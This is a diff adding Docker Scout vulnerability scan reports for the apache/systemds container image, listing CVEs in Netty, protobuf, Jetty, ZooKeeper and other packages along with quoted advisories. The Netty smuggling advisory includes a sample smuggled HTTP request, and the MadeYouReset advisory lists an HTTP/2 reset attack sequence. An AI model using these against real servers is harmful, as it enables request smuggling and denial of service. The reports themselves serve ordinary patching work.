+medium 5.3: CVE--2024--23944 Exposure of Sensitive Information to an Unauthorized Actor + + + + + + + + +
Affected range>=3.8.0
<=3.8.3
Fixed version3.8.4
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ +Information disclosure in persistent watchers handling in Apache ZooKeeper due to missing ACL check. It allows an attacker to monitor child znodes by attaching a persistent watcher (addWatch command) to a parent which the attacker has already access to. ZooKeeper server doesn't do ACL check when the persistent watcher is triggered and as a consequence, the full path of znodes that a watch event gets triggered upon is exposed to the owner of the watcher. It's important to note that only the path is exposed by this vulnerability, not the data of znode, but since znode path can contain sensitive information like user name or login ID, this issue is potentially critical. + +Users are recommended to upgrade to version 3.9.2, 3.8.4 which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.eclipse.jetty/jetty-xml 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-xml@9.4.51.v20230217
+low 3.9: GHSA--58qw--p7qm--5rvh Improper Restriction of XML External Entity Reference + + + + + + +
Affected range<=9.4.51
Fixed version9.4.52.v20230823
CVSS Score3.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L
+ +
Description +
+ +### From the reporter + +> `XmlParser` is vulnerable to XML external entity (XXE) vulnerability. +> XmlParser is being used when parsing Jetty’s xml configuration files. An attacker might exploit +> this vulnerability in order to achieve SSRF or cause a denial of service. +> One possible scenario is importing a (remote) malicious WAR into a Jetty’s server, while the +> WAR includes a malicious web.xml. + +### Impact +There are no circumstances in a normally deployed Jetty server where potentially hostile XML is given to the XmlParser class without the attacker already having arbitrary access to the server. I.e. in order to exploit `XmlParser` the attacker would already have the ability to deploy and execute hostile code. Specifically, Jetty has no protection against malicious web application and potentially hostile web applications should only be run on an isolated virtualisation. + +Thus this is not considered a vulnerability of the Jetty server itself, as any such usage of the jetty XmlParser is equally vulnerable as a direct usage of the JVM supplied SAX parser. No CVE will be allocated to this advisory. + +However, any direct usage of the `XmlParser` class by an application may be vulnerable. The impact would greatly depend on how the application uses `XmlParser`, but it could be a denial of service due to large entity expansion, or possibly the revealing local files if the XML results are accessible remotely. + +### Patches +Ability to configure the SAXParserFactory to fit the needs of your particular XML parser implementation have been merged as part of PR #10067 + +### Workarounds +Don't use `XmlParser` to parse data from users. + + + + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) + +pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
+low 2.0: CVE--2024--23454 Improper Privilege Management + + + + + + + + +
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ +Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+
+ diff --git a/docker/scout_results/multiple-high-CVEs/sysds_output7.md b/docker/scout_results/multiple-high-CVEs/sysds_output7.md new file mode 100644 index 00000000000..086663df3f0 --- /dev/null +++ b/docker/scout_results/multiple-high-CVEs/sysds_output7.md @@ -0,0 +1,2599 @@ +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:1bfbe108b080a404c047387c4831a2ec4afbdf1d9a74fe459fa9de9c6f66cd08
vulnerabilitiescritical: 2 high: 18 medium: 39 low: 10 unspecified: 1
platformlinux/amd64
size382 MB
packages358
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) + +pkg:maven/io.netty/netty@3.10.6.Final
+critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." + +
+
+ +high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. + +This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. + +### Impact + +All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. + +### References +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 + +
+
+ +high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
+ +
Description +
+ +### Impact +The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). + + +All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack + +### Workarounds +No workarounds other than not using the `Bzip2Decoder` + +### References + +Relevant code areas: + +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 + +
+
+ +medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.420%
EPSS Percentile61st percentile
+ +
Description +
+ +### Impact + +Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. + +Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. + + + +
+
+ +medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.026%
EPSS Percentile7th percentile
+ +
Description +
+ +### Impact + +When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. + +The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) + +### Vulnerability Details + +On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. + +The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. + +This is the case in netty's `AbstractDiskHttpData` is vulnerable. + +https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 + +`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. + +You may be affected by this vulnerability your project contains the following code patterns: + +```java +channelPipeline.addLast(new HttpPostRequestDecoder(...)); +``` + +```java +channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); +``` + +### Patches + +This has been patched in version `4.1.59.Final`. + +### Workarounds + +Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. + +### References + + - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) + - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) + +### Similar Vulnerabilities + +Similar, but not the same. + + - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp + - Google Guava - https://github.com/google/guava/issues/4011 + - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 + - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 + +### For more information +If you have any questions or comments about this advisory: +* Open an issue in [netty](https://github.com/netty/netty) +* Email us [here](mailto:netty-security@googlegroups.com) + +### Original Report + +> Hi Netty Security Team, +> +> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: +> https://lgtm.com/query/7723301787255288599/ +> +> Netty contains three local information disclosure vulnerabilities, so far as I can tell. +> +> One is here, where the private key for the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 +> +> One is here, where the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 +> +> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 +> +> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. +> +> Impacted OS: +> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. +> +> Mitigation. +> +> Moving to the `Files` API instead will fix this vulnerability. +> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- +> +> This API will explicitly set the posix file permissions to something safe, by default. +> +> I recently disclosed a similar vulnerability in JUnit 4: +> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp +> +> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. +> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 +> +> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. +> https://github.com/netty/netty/security/advisories +> +> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. +> +> Cheers, +> Jonathan Leitschuh + +
+
+ +medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score2.547%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 + +This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. + +### Patches +This was fixed as part of 4.1.61.Final + +### Workarounds +Validation can be done by the user before proxy the request by validating the header. + +
+
+ +medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
+ +
Description +
+ +### Impact +If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. +If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. + +In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. + +An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: + +``` +POST / HTTP/2 +:authority:: externaldomain.com +Content-Length: 4 + +asdfGET /evilRedirect HTTP/1.1 +Host: internaldomain.com +``` + +Users are only affected if all of this is `true`: + * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used + * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects + * These HTTP/1.1 objects are forwarded to another remote peer. + + +### Patches +This has been patched in 4.1.60.Final + +### Workarounds +The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. + +### References +Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 + +
+
+ +medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. + +
+
+
+
critical: 1 high: 0 medium: 0 low: 0 zlib 1.3.1-r1 (apk) + +pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
+critical : CVE--2026--22184 + + + + + + +
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.109%
EPSS Percentile30th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.078%
EPSS Percentile24th percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 3 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-http2@4.1.96.Final
+high 8.2: CVE--2025--55163 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<=4.1.123.Final
Fixed version4.1.124.Final
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.102%
EPSS Percentile29th percentile
+ +
Description +
+ +Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.” + +### MadeYouReset Vulnerability Summary +The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. + +### Mechanism +The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). +The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: +1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) +2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) +3. PRIORITY frame with a length other than 5. (section 6.3) +From our experience, the primitives are likely to exist in the decreasing order listed above. +Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0. + +The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. +While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled. + +Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM. + +### Attack Flow +For example, a possible attack scenario can be: +1. Attacker opens an HTTP/2 connection to the server. +2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. +3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. +4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1). + +The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. +This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent) + +### Comparison to Rapid Reset +The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. +The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. +Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM. + +### Suggested Mitigations for MadeYouReset +A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. +It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error. + +As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively. + + +If you have any questions, we will be happy to clarify or schedule a Zoom call. + +Gal, Anat and Yaniv. + +
+
+ +high 7.5: GHSA--xpw8--rcwv--8f8p Uncontrolled Resource Consumption + + + + + + +
Affected range<4.1.100.Final
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
+ +
Description +
+ +A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. + +### Impact +This is a DDOS attack, any http2 server is affected and so you should update as soon as possible. + +### Patches +This is patched in version 4.1.100.Final. + +### Workarounds +A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used). + +### References +- https://www.cve.org/CVERecord?id=CVE-2023-44487 +- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ +- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/ + +
+
+ +high 7.5: CVE--2023--44487 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<4.1.100
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score94.427%
EPSS Percentile100th percentile
+ +
Description +
+ +The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) + +pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
+high : CVE--2025--9230 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.026%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9231 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9232 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 org.eclipse.jetty/jetty-server 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.51.v20230217
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
